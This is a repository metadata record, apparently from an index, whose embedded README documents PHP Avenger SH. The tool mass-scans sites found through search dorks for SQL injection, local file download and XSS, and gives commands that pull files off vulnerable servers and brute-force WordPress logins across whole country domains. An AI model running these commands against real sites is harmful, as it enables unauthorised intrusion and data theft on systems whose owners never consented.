{"id":13842714,"url":"https://github.com/aszone/avenger-sh","last_synced_at":"2025-04-07T12:01:49.155Z","repository":{"id":62489012,"uuid":"61257737","full_name":"aszone/avenger-sh","owner":"aszone","description":"Project for finding vunerabilities in mass.","archived":false,"fork":false,"pushed_at":"2017-12-15T15:56:46.000Z","size":2045,"stargazers_count":222,"open_issues_count":3,"forks_count":41,"subscribers_count":17,"default_branch":"master","last_synced_at":"2025-03-31T11:01:33.696Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"","language":"PHP","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/aszone.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2016-06-16T03:02:47.000Z","updated_at":"2024-09-19T11:50:13.000Z","dependencies_parsed_at":"2022-11-02T10:01:11.356Z","dependency_job_id":null,"html_url":"https://github.com/aszone/avenger-sh","commit_stats":null,"previous_names":[],"tags_count":6,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/aszone%2Favenger-sh","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/aszone%2Favenger-sh/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/aszone%2Favenger-sh/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/aszone%2Favenger-sh/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/aszone","download_url":"https://codeload.github.com/aszone/avenger-sh/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":247648874,"owners_count":20972944,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-08-04T17:01:43.966Z","updated_at":"2025-04-07T12:01:49.135Z","avatar_url":"https://github.com/aszone.png","language":"PHP","funding_links":[],"categories":["PHP","PHP (184)"],"sub_categories":[],"readme":"# PHP Avenger\n\n\u003e PHP Avenger is a modern collection of open source tools written in PHP with focus in security and hacking.\n\n### Beta\n\n* PHP Avenger sh ( Search Engine )\n\n### Future Implementation\n\n\n* PHP Avenger bt ( Brute - Force )\n* PHP Avenger sca ( State Code Analyse )\n* PHP Avenger pwp ( Plugin WordPress )\n* PHP Avenger cj ( Component Joomla )\n\n***\n### PHP Avenger SH\n\n\u003e Php Avenger sh is a open source tool with an idea **based in a fork inurlbr by Cleiton Pinheiro**. Basically **PHP Avenger sh** is a tool that automates the process of detecting possible vulnerabilities using mass scan and checking if the vulnerability is true or false. Php Avenger uses search engines like google, bing and others through dorks ( advanced search ).\n\n## Installation\n\nThe recommended way to install PHP Avenger is through\n[Composer](http://getcomposer.org).\n\n```bash\n# Install Composer\ncurl -sS https://getcomposer.org/installer | php\n```\n\nNext, run the Composer command to install the latest beta version of Php Avenger SH:\n\n```bash\nphp composer.phar create-project aszone/avenger-sh\ncd avenger-sh\n```\n## Basic Usage\n\n\u003e Use the commands bellow to init the process, results will be printed in the monitor and saved in a `.txt` file on folder `results`.\n\n### Get trash search\n\n```bash\nphp avenger sh --dork=\"site:com.ar ext:sql password\"\n```\n#### Result of trash search\n![alt tag](http://lenonleite.com.br/wp-content/uploads/2016/06/imagem1.png)\n\n\n### Check Sql Injection\n```bash\nphp avenger sh --dork=\"site:com.ar inurl:php?id=\" --check=\"sqli\"\n```\n#### Result of Sql Injection\n![alt tag](http://lenonleite.com.br/wp-content/uploads/2016/06/imagem2.png)\n![alt tag](http://lenonleite.com.br/wp-content/uploads/2016/06/imagem3.png)\n\n\n### Check Local File Download\n```bash\nphp avenger sh --dork=\"site:com.ar inurl:download.php?file=\" --check=\"lfd\"\n```\n#### Result of Local File Download\n![alt tag](http://lenonleite.com.br/wp-content/uploads/2016/06/imagem7.png)\n\n### Check and Exploited Local File Download\n\n\u003e This next command you will check vulnerabilities and extract files of server. The files will save in /results/exploits/lfd/\n\n```bash\nphp avenger sh --dork=\"site:com.mx inurl:download.php?file=\" --check=\"lfd\" --exploit=\"lfd\"\n```\n#### Result of Extract Files\n![alt tag](http://lenonleite.com.br/wp-content/uploads/2016/11/lfdFiles.png)\n#### Video of Extract Files\n[![Video of extract files](https://img.youtube.com/vi/IdrpQ7KQlmU/0.jpg)](https://www.youtube.com/watch?v=IdrpQ7KQlmU)\n\n### Check is Admin Page\n```bash\nphp avenger sh --dork=\"site:com.ar inurl:admin\" --check=\"isAdmin\"\n```\n\n### Check is Admin Page and if Admin Page for WordPress get all users and start brute force\n```bash\nphp avenger sh --dork=\"site:com inurl:wp-content/uploads\" --check=\"isAdmin\" --exploit=\"btwp\"\n```\n\n### Help for commands\n```bash\nphp avenger sh\n```\n\n## Details\n\n#### Search Engines\n* Google\n* GoogleApi\n* Bing\n* DuckDuckGo\n* Yahoo\n* Yandex\n\n#### Covered Vulnerabilities\n* Sql Injection (SQLI)\n* Local File Download (LFD)\n* Admin Page\n* Remote File Inclusion (RFI)\n* Cross-Site-Scripting (XSS)\n\n#### Covered Exploits\n* Local File Download (LFD)\n* Brute Force for WordPress\n\n#### Covered Vulnerabilities in next versions\n* Sensitive Files\n    * Dump Files\n    * Config Files\n    * Open Folders\n\n#### Features under development\n* Power Search\n* Send E-mail with results\n* Naming the `.txt` result file\n* Proxys\n    * TOR\n    * Site of Proxys\n    * **Virgin Proxies**\n\n## Help and docs\n* [Documentation](http://phpavenger.aszone.com.br).\n* [Examples](http://phpavenger.aszone.com.br/examples).\n* [Videos](https://www.youtube.com/user/MrLenonleite).\n* [Steakoverflow](http://phpavenger.aszone.com.br).\n\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Faszone%2Favenger-sh","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Faszone%2Favenger-sh","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Faszone%2Favenger-sh/lists"}